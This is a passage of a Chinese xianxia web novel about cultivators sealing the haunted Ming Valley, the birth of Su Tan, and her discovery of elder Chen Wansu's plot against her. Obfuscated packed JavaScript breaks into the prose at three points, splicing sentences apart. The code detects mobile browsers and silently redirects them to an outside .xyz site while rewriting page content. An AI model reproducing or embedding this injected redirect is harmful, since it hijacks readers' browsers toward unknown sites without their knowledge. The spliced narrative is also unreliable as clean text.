年轻女修的声音被风吹进陈万肃的耳朵,少年揉了揉耳廓。 次日,伏霄台。 苏婉凌如约而至。除去陈万肃,与她同来的还有两男一女。 “我叫苏婉凌。” “南宫望月。” “你们好,我叫林戚。” “我叫穆遣。” “陈万肃,也是告示的发起人。” 五人相互熟悉之后,陈万肃便简单说明事由。 “相信大家都已有所耳闻,这溟谷阴邪淫祟害人不浅。我所在的门派是华门宗,紧挨着它。但是溟谷设下的封印早已薄弱,因此常年受溟谷邪祟侵扰,苦不堪言。借此机会,我找来你们,就是希望你们能够助我加固封印,镇压其中害人之物。” 陈万肃好不容易才找来这几个人,赶忙说:“告示上已经说明白,自愿的啊,来了就不许再退出去!” “废话真多。”叫南宫望月的女修不咸不淡地开口,“我们需要做什么?” 陈万肃:“每隔七日,需得两人一组进入溟谷修补封印。” 苏婉凌:“要在谷中待多长时间?” “短 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“这次轮到我和穆遣入谷,”临走前,苏婉凌百无聊赖地操控者数片叶子在打坐的南宫望月身边飞来飞去,吐槽道,“我发现,我和林戚都有话说,唯独和穆遣,聊不来啊!谷里那么阴森寂寥,不好过啊……” 南宫望月毫不怜惜地默念施法把叶子全部插在苏婉凌头发里,不客气道:“要说就说,别带林戚。” 说苏婉凌一听,来劲了:“啧啧啧,你还护上了。我还没问你,他是不是对你有意思,天天跑去找你。” “我和你说过……” “只是送丹送丹,我懂。他最会的不就是炼丹,我看他那个脑子里面,除了炼丹,就是你了。” 南宫望月睁开眼,直直地看着苏婉凌,前不搭边后不着调地说:“依我看,穆遣对你也有点意思。” 苏婉凌驭在空中的叶子掉了一地,结巴了:“??你、你哪只眼睛看出来的?” * 直到进谷时,苏婉凌脑子里还回放着南宫望月最后说的那句话。 穆遣的性格内敛沉稳,而她心直口快的,性格完全不一样,怎么会对她有意思呢? 定是南宫望月打趣自己才这样说的。嗯,没错。 “这几次入谷,我们离阵眼越来越近,切记小心。”穆遣放缓脚步,叮嘱道。 之前怎么没发现这人的声音还挺好听,少了少年音的清脆,多了一丝醇厚磁性。 穆遣察觉身后的人没有反应,回头又耐心地重复了一遍:“你在听吗?” “?”苏婉凌回过神,不再多想,跟上了他的脚步,“哦,好。” …… 完成阵法的封印已经接近寅时,本就空无一人的溟谷更加阴森凄切。光秃秃的树随处可见,时不时有几只铅羽黑鸦在枝丫上停驻,扯着嗓子发出阵阵嘶哑刺耳的长鸣。 深更半夜,阴气最是浓重。苏婉凌和穆遣收敛呼吸,调动灵力悄声返回。 两人越走越近。 在这种时候,唯一能依靠的便是身边之人。苏婉凌不得不承认,穆遣的稳重冷静的确给了她极大的安全感。 走出溟谷,背后发凉的异样感终于消失,苏婉凌和穆遣并肩走在华门宗外面的街上。 “穆道友,你有没有感觉周围有点静得不正常?” “嘘。” 穆遣轻声提醒,点头表示感觉确实如此。 他克制地拉着苏婉凌的衣袖,两人一同躲到离得最近的摊车后面,说道:“是溟谷邪祟。” 邪祟其实并不难消灭,可一旦数量多起来,难免防不胜防。 苏婉凌盯着不远处游荡的虚影,不动声色地把灵力注到周围的生灵上面,悄声道:“我一个人对付它足够了,你去华门宗找陈万肃,让他启禀掌门,带人检查宗里内外。” 穆遣确认周围并无其他邪祟气息,很快同意了:“好。” 29. 世界二(14) 苏婉凌放轻脚步,灵活地跟在离前面的邪祟五步远的距离。 刚才离得远看不清,走近了她才发现,这邪祟五官畸形,眼球突出眼眶,只见血丝不见黑瞳;鼻梁以一种诡异的角度扭曲成钩子形状;脖子粗短,比常人少了一只手臂,多了一条腿,通体发黑又透光,身形却不过十岁孩童高。 那邪祟比平常妖物机敏得多,不过一炷香的时间,便有所察觉。她也不再隐藏,直接操控千百片树叶,化做一把把锋利薄刃,齐齐向邪祟划去。 “嘎——!”邪祟尖叫着躲开。 苏婉凌顿觉耳朵刺痛,这邪祟怎么生了一副破锣似的嗓子?听完感觉自己的灵魂都被泼了黑漆,一点也不干净了! 破锣嗓子的邪祟丝毫不知收敛,朝苏婉凌伸出唯一一只枯如鸡爪般的爪子。 这下苏婉凌觉得还是让她的眼睛和耳朵都被泼上黑漆好了。她手起叶刃,毫不留情地割掉邪祟的手。接着是嘴巴。 她麻利地解决完眼前的麻烦,准备去华门宗找穆遣会和。 “小心!!” 一声惊呼从她身后传来。下一秒,她感到有人从背后护住自己——正是穆遣。背后还跟着密密麻麻、不堪入目的邪祟。 她的心脏瞬间停跳了半拍,惊道:“怎么回事?!” “是潜入华门宗的邪祟逃出来了。”穆遣在她身后喘息。 苏婉凌来不及多问,迅速加入剿杀。她负责在远处操控器物,吸引邪祟的注意力,趁机击杀;穆遣负责近战,右手持剑,精准狠戾地直击邪祟命门。 …… 时间从寅时走到辰时,街道终于彻底安静下来。天际露出鱼肚白,淡黄色的晨阳从云层一泻而下,给苏婉凌一种不久前什么都没发生的错觉。 如果她没有恰好看到穆遣背后狰狞抓伤的话。 她一把抓住想要避开的穆遣,轻轻拨开他背后被血染红的衣物,语气不自觉地紧张:“你受伤了?” 穆遣脸色有些涨红:“无妨,修仙之人体质特殊,休息一天便好。” 即便如此,苏婉凌心里仍有些过意不去。 不知为何,她又想起南宫望月说过的话:“他对你有意思。” 鬼使神差地,苏婉凌冒出一句:“你一人上药不方便,今晚我去找你吧。” “不……” 穆遣慌张的拒绝还未说出口,被另一个出现的声音打断。 陈万肃站在十米开外的距离,淡淡地喊道:“穆道友。” 等陈万肃随掌门处理完华门宗的事赶到这里,正看到苏婉凌将手放到穆遣背上的伤口上。那一刻,一股难言的情绪占满他胸腔,又堵又涩,最后只喊出了“穆道友”三个字。 他不知道自己怎么了。明明是他先认识她的。 等陈万肃走到那两人身边时,他已收拾好情绪,关切道:“邪祟被灭得如何?两位还好?” 苏婉凌简洁地说明了情况。 “幸得今日二位相助,否则华门宗的情况会更糟。”陈万肃从袖中拿出一个药瓶,递给穆遣,“这是我派内的药粉,对伤口恢复极好,穆兄一定收下。” 穆遣脸色苍白地点了点头:“多谢。” * 人生年少不过十六七岁光景,意外也许不过一瞬之事,成长总是以不速之客的身份敲响房门。 时间转眼来到仙历五十五年初春。 日子一长,四个人渐渐地多少都明白,单纯靠坚持和热情,其实很难对抗溟谷里的阴邪淫祟,那些龃龉如寄生虫卵,令人作呕又心生恐惧。 但没有人提出,他们就当不知,苏婉凌等人依旧心照不宣地结伴去溟谷做封印,灭邪祟。 一日夜晚,陈万肃找到她,说有要事相商。 “我想单独一人入谷,去阵眼瞧瞧,也许会有新的解决办法。” 苏婉凌打开门,就听到他这样说。 她睁大了眼睛:“你疯了!” 阵眼是整个法阵最脆弱也是最危险的地方,几十年来,哪怕是修为高深的掌门和长老,也不敢贸然进去。 苏婉凌皱眉:“他们都知道吗?” “我只对你一人说过。” 若是换个非亲非故的人,苏婉凌绝不会多问,但她们同甘共苦,一起走过大半年光景,做不到那样绝情。 “你应该和大家都说一声,剿灭邪祟一定有其他办法,别冲动行事。” “我是掌门座下弟子,肩上有千斤重担,总要有人第一个站出来。” 苏婉凌有些生气:“那也不需要用你的性命来做赌注!” 陈万肃嘴角泄出一丝苦笑:“容我再想想罢。” 临走时,他半掩屋门,明明已经走了很远,最后还是忍不住拐回来,犹豫几个来回,动了动嘴唇,问:“你和穆兄……” 听到穆遣的名字,苏婉凌紧绷的脸庞稍稍放松,耳垂一抹淡淡的绯红:“我们已互通心意。” 陈万肃对这答案似乎早有预料,嘴角的苦笑又深了几分,拂门离去。 隐约中,苏婉凌好像听到风中隐约送来一声谁的低喃—— “我好不甘心啊。” …… 三日后,华总门尽数被灭的早已消息传遍各门各派。 就在陈万肃去见苏婉凌的那晚。 而他恰好不在派里,逃过一劫。等回到派内,视野所及之处只剩片片血泊。 陈万肃不知道他是怎样平静下来的,愤怒也好、悲伤也罢,他只给了自己一刻钟的时间。 一刻钟后,他变得出奇的冷静。 先是有条不紊地安葬掌门和同门师兄弟——然后连一声道别都没有,便凭空消失了。 苏婉凌三人去寻,无果。她想过陈万肃有可能已经去了溟谷阵眼,但她们进去找过,封印并无异动,一个活生生的人就这样从剩下三人身边不告而别。 转眼已是仙历五十五年冬末。 “婉凌,你已有身孕,修炼可先放下些,要注意身体。” 苏婉凌接过穆遣递来的茶水,擦汗去额头的汗:“无碍,我心里有数。” 穆遣温柔地把手覆在她肚子上:“算着再有一月,檀儿就要来到这个世界了。” 早早地,两人便定好孩子的名字。无论男孩还是女孩,都叫苏檀。 想道不久后,新的小生命将要来到身边,苏婉凌忍不住道:“是啊,每天又希望能过得快些,又不愿那天这么早到来。你说,檀儿会喜欢这个世界吗?” 说完,苏婉凌脑海里浮现一张恣意张扬的笑脸,不知……他怎么样,过得还好吗? 她很想告诉陈万肃,她和穆遣已经有了自己血脉,南宫望月和林戚也彼此相爱。哪怕华总门不在,他们也坚持去溟谷,不仅为了灭邪祟,更是想要在一个不经意的瞬间,遇到想要重逢的朋友。 穆遣很快会意到她的心事,轻轻揽住苏婉凌的肩膀,宽慰道:“明日,我和林戚就要进谷,一定会有消息的。” 苏婉凌借力靠在他怀里:“嗯。” * “这次,我们要不要试着去阵眼附近看看?” 在谷里走了一会,穆遣对林戚提议。他们三人,本就是天赋极高的修道者,一年过去,各自的修为又分别精进不少。渐渐地,阵眼不再是让他们望而生畏的词。 “好。”林戚不多废话,拿出两颗聚灵丹,一颗送进嘴里,一颗给了穆遣,“我新炼出来的,真要死了还能靠它吊一口气。” 越往前走,视野就越是黑暗,直到穆遣看不到身边的人。 “林戚?” “怎么了?”熟悉的声音响起。 “你有没有感觉到什么?” 林戚:“陌生,强大,恐惧。这不是邪祟的气息。” 穆遣似乎轻声笑了笑:“这些东西还没这么出息。” “嘘。”林戚突然拉住前行的穆遣。 即使两人看不见对方,穆遣依旧能感觉到林戚与他对视的目光。他不动声色地把手搭在腰间剑柄上。 下一秒,林戚感受到剑刃划起的风掠过脸庞。奇怪的是,没有任何声响发出,压在他身上的陌生恐惧的感觉却小了很多。 穆遣持剑做防御姿势,对林戚说道:“它就在我们身边潜藏,但藏得太好了。如果不是黑暗封闭视觉,放大听觉,很难发现。” “而且太自然了,就像是这里的一部分。”林戚接道。 “小心!”穆遣迅速反应,转身提剑劈去。直觉告诉他情况不妙。 “林戚?!” “……” 无人回应。 * 往常入谷,最多两天便能回来。这一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16415951|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,苏婉凌和南宫望月等了四天还未见那两人回家。 这日早晨,苏婉凌站在溟谷入口,有些焦急地来回踱步。南宫望月陪在她身边等待。 一个时辰过去,连阵风都没从谷里吹出来,周围一片死寂,加倍放大等待之人心里的不安。 南宫望月安抚住她,说:“我进去看看,你别乱走。” 苏婉凌正有此意:“放心吧。” 又一个时辰过去。 一个三岁孩童不知从哪跑了出来。 小男孩手里攥着一把不同形状的树叶,抬起头问道:“你是谁呀?” 苏婉凌怀有身孕,不好蹲下,只能弯着腰笑着摸摸他的脑袋:“我的家人四日前进到这里面,现在还没出来,我在这里等他呢。你叫什么名字啊?” “你叫我阿郁吧。”小男孩又问道,“你在等一个哥哥吗?” “……也对,可是,你怎么知道?”苏婉凌惊讶地看着眼前这个孩子。 “我昨天见到一个满身是伤的哥哥,一动不动地躺在地上。我以为他死了,结果过了一会,他又站起来不知道去哪了。” 苏婉凌呼吸一下子重了几分。 这个人会是谁?穆遣、林戚……还是陈万肃? “你出来的时候还有没有见到其他人?比如,一个姐姐?” 小男孩摇摇头。 他盯着苏婉凌的脸看了一会,认真地在手中一堆叶子里扒拉半天,最后挑出一片最大最完整,颜色最纯的枫叶,小心翼翼地交给苏婉凌:“我看你不是很开心,给你。” 苏婉凌有些心不在焉地收下放好。就在刚刚,她决定亲自入谷找人。 她笑了笑,与小男孩道别:“姐姐很喜欢,快些回家吧,这里危险。” “那好吧,姐姐再见!” 苏婉凌进入溟谷后,一个男人的身影在远处树后出现。 “阿郁,跑哪去了,回去。” 小男孩扫兴地撇撇嘴,“哗啦”一下子把手里的树叶全部丢在地上,拍拍手恹恹地离开了。 苏婉凌这次进谷,比往常任何时候还要谨慎小心。 咔嚓。 她几乎同一时间察觉到身后有人,毫不犹豫抬手操控地上千颗碎石:“谁!出来!” 林戚从巨石背后站出来,不可置信道:“婉凌?你怎么会在这?” 苏婉凌仍然戒备,试探问道:“陈万肃呢?” 林戚又走进几步:“你说什么呢,陈万肃不是去年就走了?” “真的是你。”苏婉凌松了一口气。她给林戚解释了刚才在外面的事情。 林戚:“别着急,我和你一起找人,顺便和你说一下这几天都发生什么。” “好……”苏婉凌突然皱紧眉头,下意识把手放在下腹部。 她毫无征兆地早产了。 嗅到修仙之人的鲜血味道,潜缩在暗处的邪祟再也按耐不住,黑压压一片,一股脑冲向苏婉凌。 穆遣吊着一口气,拖着一条半残的腿,终于走出整整四天的黑暗时,便看到这一幕。 ——林戚一边半抱着苏婉凌,一边布阵与邪祟划清边界,两个人浑身都是血。 穆遣瞬间明白过来发生了什么,发疯般冲到苏婉凌身边。 苏婉凌看到穆遣这副样子,本想说几句话缓和他的情绪,却发现自己疼得连张嘴的力气都没了。 “我去布阵。”林戚被穆遣推开,反而冷静下来,“邪祟太多,一时半会,我们没法出去。” 穆遣红着眼睛把灵力注到苏婉凌体内,抵着她的额头,声音抖得不像话:“婉凌,我们不要孩子了好不好,你不能有事……婉凌,好不好……” “别……这样说……”苏婉凌要保留力气,她不敢抬手握住穆遣的手,只能虚弱地扯扯嘴角,“帮我,好吗?” 她和穆遣早早地便学习过这些知识,她相信他可以做到。 南宫望月不知何时出现,面无表情地给了穆遣一巴掌:“磨磨唧唧的,起开,我来。你若是不敢,便去外面和林戚待着,别在这碍事。” 这话果然管用。 南宫望月看穆遣抹了一把眼泪,抬起了头。她很快让到一旁,接着为苏婉凌注入灵力减轻疼痛。 穆遣深深吸了一口气,匀了匀呼吸,单腿跪地,举起微颤的双手。 30. 世界二(15) “……就这样,我便有了你。” 苏婉凌话落,忍不住轻拭湿润的眼睫。 苏昙好像随着苏婉凌的叙述,走过了她们的年少时光,久久没有回神。 她怔怔地问:“所以,关于林戚陷害您的流言就是这样传出去的。” “是。可我们都知道,这件事,谁都没错。”苏婉凌说,“你出生后,我和你父亲成立遣凌派。与此同时,各种流言蜚语越来越多,关于林戚的,关于遣凌派和望月峰的,关于你的……” “渐渐地,我们三个的联系减少,冥谷的事……也就这样不了了之了。” “后来呢,陈长老是怎么回来的,还进到了遣凌派?” “那时我们也很诧异。就在我和你父亲成立遣凌派不久,他竟独自一人出现在殿前,请求到派内任术法长老。故友久别重逢,我们不忍拒绝。” “陈长老和你们讲过他消失那几年的经历吗?” 苏婉凌摇摇头:“我们多少能猜到,当年他的不辞而别,极有可能和华门宗被灭有关。每个人都有不想提及的记忆,他不说,我们不便再多问了。” 苏昙缄声,偏过身看到窗外已经升起一轮弯月。有那么一刻,她竟觉得那皎洁月光,也不过如此。更神圣的光,就在她的身边静静坐着,讲述着陈年旧事。 “天色已晚,”她收回看向窗外的视线,说,“母亲,你早点休息,女儿先回去了。” “好。” 苏昙站起身,再次抱住苏婉凌:“您很伟大。真的,很伟大。” * 仙门试炼结束,择徒大选如期进行。苏昙早早收拾好东西,与何瑚会和。 “给你。” “这是,瑰棘花?!”何瑚意外又惊喜地接过,“阿檀你竟然真的找到了!” “答应过你的。”苏昙浅笑,“今天南宫洛奚来参加吗?” 何瑚听到,眼神有些躲闪:“我不知道。” “我看他人不错,挺好的。” 苏昙大方直言,何瑚反而没那么尴尬。 何瑚说:“只是我们放了求救烟花,会被视为弃权,最开始就要被筛掉。” “就算中途弃权,有瑰棘花在,你肯定可以坚持到最后。而且——” 苏昙还准备说什么,却瞥见远处一个人影匆匆闪过,她如何也不会认错,那人正是陈万肃。 还有一个时辰择徒大选就要开始,他身为长老不在殿内等候,现在在干什么? 她很快改口:“何瑚,你先去长莱殿等着我吧。我还有点事,一会在殿里见面。” “怎么了?”何瑚追着苏昙的视线看去,并未察觉有什么异样。她微抿双唇,答应道,“好,一会见。” 何瑚走后,苏昙悄悄沿着陈万肃的路线跟上去,最后看到他在接近遣凌派边界的一堵高墙下停住脚。她屏住呼吸,躲在一棵古树背后,恰好遮住了她的身形。 陈万肃取下腰间折扇,扇柄底端叩在古铜色墙壁上,发出三声不轻不重的声响,折扇的黑莲挂穗随着轻击微微晃动。 很快,一个人从墙底下的洞里钻了出来。 那洞还不到陈万肃的膝盖高度,宽度也就只有陈万肃的肩宽,苏昙偏了偏头才注意到。 她万万没想到的是,爬出来的人,竟然是陈鑫郁! 而且,他看起来很……痛苦。上次在虚境最后遇到他,苏昙就察觉到陈鑫郁的身体似乎有问题,但她说不上哪不对劲。 此时陈鑫郁脸色苍白如纸,豆大的汗珠不停从他的额头滚落,背上的衣服布料被汗水浸透,满是污泥的双手,因为疼痛不受控制地攥紧陈万肃的衣袍下摆,手背暴起青筋,乞求的目光却死死地定在陈万肃脸上。 “义父,我好疼啊……” 陈万肃眼睛淡淡瞟向别处,把衣服从陈鑫郁手里抽出来,平静道:“陈鑫郁,你可真是个废物。” 陈鑫郁瞳孔骤缩,这比他浑身的疼痛还要可怕。 “义父……”他快要哭出来,“对不起,我尽力了,我真的尽力了。” “苏檀的修为远不及你,可你竟然让她给耍了。”陈万肃嘴角勾起一抹嘲讽淡笑,“要知道,普通修仙之人但凡沾上一点黑气,神智便会大受影响。可她屁事没有从虚境出来了!你这么些年的修炼难道都喂了狗吃吗?!” “我……我不知道,我都已经按您吩咐的做了。明明我已经把黑气引到她体内了!” 说完最后一句话用尽了陈鑫郁的所有力气。话落,他趴在地上喘息。 苏昙心里却好似有万声惊雷震响:原来原主是这样死的! 原主自杀之后,她穿过来,时间线往前回溯了十天,回到了仙门试炼之前。恰好她穿来后,也同样决定参加。这样看,预言里所谓的劫数根本不是什么命定的天灾,而是早就准备好的人祸! 陈万肃想杀了她。 穆遣也许没想过,千算万算,他还是失了一策。 然而苏昙还是不解,她和陈万肃隔辈,会有什么仇怨?他为什么想杀了她? “但她不仅没死,还抢走了你千辛万苦找到的瑰棘花,不是吗。”陈万肃仿若一个无关的外人,发出戏谑的评价。 陈鑫郁:“我……” 苏昙同样问自己:是啊,为什么原主因为黑气入体被折磨至失控自杀,而她却可以熬过去?世界上比她心智意志坚轫的人多了去,她不认为这是正确答案。 她继续仔细地听。 可接下几分钟里,只有陈鑫郁忍不住发出几声闷哼和喘息。就在苏昙站得身体发僵,准备回去时,陈万肃有了动作。 他撩开衣袍蹲下,轻轻抚摸陈鑫郁的脸:“阿郁。十八年前你便跟在我身边,受苦了。”陈万肃语气突然变得温柔平和。 陈鑫郁似是早已习惯,只是流着泪紧闭双眼。 苏昙微微皱眉,这名字怎么听着这么耳熟?阿玉?阿钰?阿郁? 想起来了! 昨晚苏婉凌提到过这个名字,原来阿郁就是陈鑫郁! 当时她没往心里去,以为是一个普通名字。原来二陈两人早在十几年前就已经结下父子关系。 陈鑫郁紧咬嘴唇,没有出声回应。 陈万肃一遍一遍地擦掉他的泪痕,说道:“我怎么能拿你和苏昙比呢。当年我费尽心思,却没能在虚境杀掉穆遣,连他的女儿都侥幸活下来!没用的人是我,是我……是我忘记了,你在虚境,没有服药,使不出灵力。” 陈鑫郁疼得说不出话,嘴边溢出无声的苦笑。 整整一个月,一句“忘记了”就可以轻描淡写地揭过。 陈万肃拿出一粒药丸,放进陈鑫郁口中:“吃吧,吃完回宗门去。” 苏昙看陈万肃要离开,先他一步走了。 * 回去的路上,苏昙总算知道为什么她在黑气入体后没有失控了。 在看到陈万肃拿出药丸之后,因为她突然想起来,仙门试炼开始之前,她去了一趟遣凌派的市集,在那买了一颗聚灵丹。 传闻,聚灵丹可聚人魂魄,清明神智,救人于命悬一线。如果这颗丹药是真品,那么极有可能就是它的原因。 当时苏昙不太相信,炼丹大师林戚的东西会这么轻易让她遇到,况且服下聚灵丹之后,她并没有什么特殊感觉,没往心里去。 谁知在她死到临头竟真的发挥了作用! 苏昙在心里默默感谢远在望月峰的林戚,谢谢他的神丹救她狗命。 很快,她进入长莱殿,放眼扫过去,加上坐着的四位长老,包括陈万肃在内,只剩下二三十人站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16426697|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,远没有苏昙想的多。让她高兴的是,何瑚还在殿里。 “这是……已经筛得差不多了?”她站过去,低声问何瑚。 “是。这些同修们都已经选好长老了。” 苏昙瞧见何瑚手里还握着瑰棘花,疑惑道:“你还没选长老吗?” “没有。” “为何?是还没遇到——” “咳咳。”前方传来穆遣明知故问的声音,“檀、苏檀,你是来?” “哦,我来参加择徒大选。” 穆遣早知道她要来参加,可他以为苏昙在虚境没有找到什么,正好趁他的意,可以找个理由拒绝。 谁知下一秒,苏昙从胸口衣襟掏出第二朵瑰棘花。 “这是?!”众长老纷纷哗然。就连穆遣也睁大眼睛。他快步走到苏昙身边,确定这就是剩下的一朵。 “怎么,穆掌门,您不信吗?” “当然不是!”穆遣下意识回答。 他绝对不会怀疑阿檀造假,他清楚自己女儿的为人。 穆遣担心的是她的未来。 众长老一听,连掌门都给自己的女儿发声,即使心里怀疑,也不敢再说什么,都在心里祈祷这个小祖宗千万别选到自己。 苏昙并不在乎其他人怎么看,大剌剌地说道:“弟子想去望月峰修炼学习。” 众长老好不容易眯上的眼再次陡然瞪大,大殿里一片哗然:“望月峰?!” 穆遣额头的青筋跳了几跳,觉得这简直不像阿檀的性子。 人群顿时议论纷纷: “她知道望月峰和遣凌派的关系吗?” “遣凌派早就不和望月峰往来,她怎么哪壶提不开提哪壶?” “她太会给自己选地方了吧!” 苏昙不细听也能猜到这些人会说什么,她举手示意:“各位先安静!可否听我说两句?” 殿内慢慢安静下来。 “诸位想想看,多年之前,各门各派的宗旨是什么?当然是团结互助,平等友好。那再看一看现在,各个门派之间的攀比风气,勾心斗角,完全不亚于后宫三千佳丽。今日你暗里捅我一刀,明日我悄悄摆你一道。然而,各大门派斗争,被波及的只会是在派里修炼学习的众多同门道友。” “如果因为往昔矛盾就老死不相往来,请问穆掌门将要如何维持各门派之间的可持续平衡发展?抛开望月峰立场不谈,遣凌派作为目前威望最高、最厉害的门派,竟带头挑起对立,那么自此往后,各个门派都会这样效仿!” “依弟子之见,遣凌派应主动求和,扩大交流学习的范围。不仅是望月峰,哪怕是刚成立的小门小派,也应无一例外照顾到。只有将众多门派凝聚起来,才有可能复兴前辈创下的荣光!” “而弟子愿做这个领头之人,先行去望月峰破冰。长达十几年的‘冷战’也该结束了,不是吗?” 好一番慷慨激昂、发自肺腑的说辞。 “这……” “说得也有几分道理啊……” 很显然,苏昙的现代思想的话术疗效很好,在座的都被唬得一愣一愣。 穆遣自知拗不过执意的女儿,只好退一步,妥协道:“那就少数服从多数,票选决定吧。” 作为掌门,他不参与投票,能决定的还剩四位长老。 “我同意。”一票通过。 “我也同意。”两票通过。 转眼只剩下陈万肃和一个染着大红指甲的长老没有发言。 苏昙记得有个爱涂脂染甲的长老,叫清须。应该就是他了。 “是,瑰棘花是不假,但真的是你自己找到的吗?”清须长老轻咳一声,毫不顾忌穆遣的面子,翘着红色的兰花指,指着苏昙手里的花,眼睛却看向陈万肃,“你说呢,陈长老?” 31. 世界二(16) 陈万肃没有附和,他并不这样想。他心里另有顾虑: 望月峰离冥谷很近。 他不知道苏昙是不是发现了什么,去望月峰另有目的。 “没关系,清须长老,陈长老。”苏昙微微倾身拱手道,“大家都知,此次为时一月虚境历练,每位弟子的行踪从头到尾都有虚像保留,如若两位长老怀疑成绩有假,不妨让穆掌门把我的行径重新调出来,大家一起看看我手里的瑰棘花究竟从何而来。” 其实某种意义上讲,清须长老猜得没错,第二朵神花的确是她从陈鑫郁手里抢过来的。所以她不想从清须长老的话下手,她要把目标瞄向陈万肃。 她曾套过穆遣的话,发现他到现在都不知道,陈万肃在她被夭勒妖围困的时候曾出面见过她。这样看,虚像定是被做了手脚。如果虚像被调出,众目睽睽之下,陈万肃和黑气有勾连的事实便会暴露。 在苏昙看不到的地方,陈万肃宽大衣袖遮着的交叠的手下意识握紧。 试炼期间,他暗中干扰穆遣的虚像,苏昙有几天的行踪没有记录在虚像里。 如果要重新回放虚像,定会引起他人注意,届时他的一切计划便功亏一篑。罢了,一个小丫头还不足为惧,想去望月峰就随她去吧。 陈万肃交握的双手松开,看向站在殿中央的那个女孩,说道:“不必了,我也同意苏檀去望月峰。” 苏昙抬头朝声音的源头看去,和他对上视线。 ——温和的禽兽。 她脑海里瞬间闪过这么一句话,觉得用来形容他再合适不过。 陈万肃脸上没有任何表情,说话的语气和他眼角的皱纹一样,透着几分冷漠,偏偏他的长相不显刻薄,面部线条很柔和,冲去话里大半的距离感——这对穆遣尤为明显。 穆遣正为难得头疼,一边是派内德高望重的长老,一个是自己的宝贝女儿。好在陈万肃的话给他解了围,他一锤定音道:“那就这样决定了。” “掌门稍等,弟子也请求去望月峰。” 就在众人以为择徒的事终于要结束的时候,一道女声再次掀起殿内议论。 “?”穆遣顿时觉得他的头又隐隐欲痛。 苏昙比穆遣更为意外:“何瑚,你说什么呢?” “弟子没说错,”何瑚上前一步,对穆遣揖礼,“弟子这里也有一朵瑰棘花,不知可否凭此去望月峰交流学习?” 说实话,她有一点心虚,但她还是想试一试。 穆遣揉着太阳穴问:“为何你也要去望月峰?” “弟子法系为原冰,而望月峰属寒凉之地。弟子想,也许去到那里之后修为能有所精进突破,还望穆掌门和各位长老应允。” 这是苏昙意料和计划之外的事情,她不知道何瑚为何会有这样的想法,只能试着从她脸上看出一些端倪来。 长莱殿里的四位长老坐得屁股生疼,就是一个小弟子的请求,他们没什么好说的,只想赶紧同意然后各回各家。 穆遣觉得他今天出门前应该先给自己算上一卦,应该不适合做重大决策。 他站在众弟子面前,挥手道:“这件事先待定,明日我再给你结果。今日的择徒大选已经结束,各位弟子跟随自己的长老回去,日后也要认真修炼,莫要辜负长老们的栽培和期待。” 众人齐声:“是。” 苏昙心不在焉地拱拱手,快速地走出长莱殿,追上了走在前面的人。 “何瑚,等等我!”苏昙拉住她,缓了缓语气,问道,“刚才殿内,你说自己想要去望月峰,为何我之前从未听你提起过?” 何瑚语气有些冲:“想要拜哪位长老,想要去哪里,都是我一个人的选择。” 苏昙再反应迟钝也发现了何瑚的情绪不对。 她耐心问:“是最近发生了什么吗?你心情看起来不是很好。” 何瑚眼睛盯着地面:“每一次你都是这样。” “我哪样?” 许是苏昙的反问太过简短,短到听不出什么亲昵的语气,何瑚的情绪一下子被点着。 “哪样?自我们相识,你二话不说答应和我一起去虚境;在虚境遇到金迩他们也是你想方设法摆脱;被夭勒妖攻击,是你坚持要我和洛奚离开保我们安全;就在刚刚,你又一人慷慨说辞,决定独自去望月峰。这么多事情,都是你一人在承担、做决定。苏檀,你到底有没有把我当朋友?到底能不能给相信我也可以帮你分担,我也可以做到!” 何瑚越说越急,越说越生气,声音太大,引来了路过的弟子注意的目光。 她还有没说出口的。在虚境时,她便察觉出苏昙想隐瞒什么。可她最后还是没有勇气问出来。 苏昙听何瑚劈里啪啦说了一大堆,总算知道了原因。 在何瑚眼中,她们二人是一同经历过生死的姐妹。而她却习惯性把自己放在更年长的位置,什么事都是说一不二。是她一直疏忽了何瑚的感受。 但苏昙不知道要怎么解释。 说她身上有黑气,而且黑气极有可能来自冥谷?说陈万肃私下有隐立门派的秘密,她需要去望月峰暗中调查?还是直接说明她根本就不是这个世界的人,她就是为了完成他妈的这个破任务,然后快点回到她的现实世界? 哪一个说出来,估计何瑚都会吃惊半天,更别说相信了。 “你笑什么?” 何瑚看着一言不发的那个人,气冲冲地质问。 “我没有不把你当朋友。”苏昙认真地说,“相反,在我心里,你是我在这个世界里最好的朋友。” “你为人底色善良真诚,是我在这里结识的第一个好友。可正是因为喜欢你,我才不愿让你因为我去承担不必要的责任,这样不值得。” “何瑚,我只是希望你永远不会经历像我这样的困境。” 何瑚看着苏昙脸上浮出一丝笑意,她却莫名觉得那笑容有点悲伤。 一瞬间,她突然不生气了。 她想到了什么,忍不住哭出声来:“……是不是因为你的劫数?传言是真的?” 苏昙叹了口气,走近一步,温柔地抱住她:“是,但不全是。” 何瑚把头埋在她肩头,说道:“阿檀,让我陪你去吧。” “……让我再做做准备,好吗?” * 苏昙反复斟酌一路,直到回到幽鸣别院,她还是不想让何瑚跟着自己。哪怕何瑚不知道事情原委,苏昙也不能保正意外和劫数哪个先来。 这种时候,她真的很需要找个人来和她聊一聊,她不知道自己是不是真的像何瑚说的那样,是个很自以为是的人。 